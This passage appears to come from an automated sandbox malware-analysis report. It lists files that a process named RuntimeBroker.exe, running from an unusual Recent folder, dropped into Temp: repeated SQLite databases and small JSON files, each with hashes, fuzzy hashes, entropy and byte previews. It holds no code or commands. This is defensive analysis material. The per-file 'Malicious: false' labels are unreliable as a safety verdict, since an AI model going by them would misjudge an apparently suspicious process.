Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gz8EYyZY5J

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\h5kmgqCIiY

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\h6zS9gDx4o

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hMGURA3k9a

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hOaVGBL3Ze

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hcOXcZJhwf

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iMXxkw9yeQ

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\im23rjDcGA

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\j3io2vF2wC

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jDSUw0sk3A

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\jlWmet5K2D

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jljpscZrTQ

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jsbIyMre7I

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k3HfAf21dp

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kDxsnV6Wjs

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\khOMPBFV7R

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kub7IwihkN

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\l9UH2oaTjd

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lC87jeSMmH

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lIJ1isRWK7

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lUfgwQMCL5

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lWBezwbnqD

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lWdSFBgYs1

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lbW9EKEo9x

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lyeoAwMqrf

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\m3B3LdYFan

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\m8ZJzXTxZm

Download File

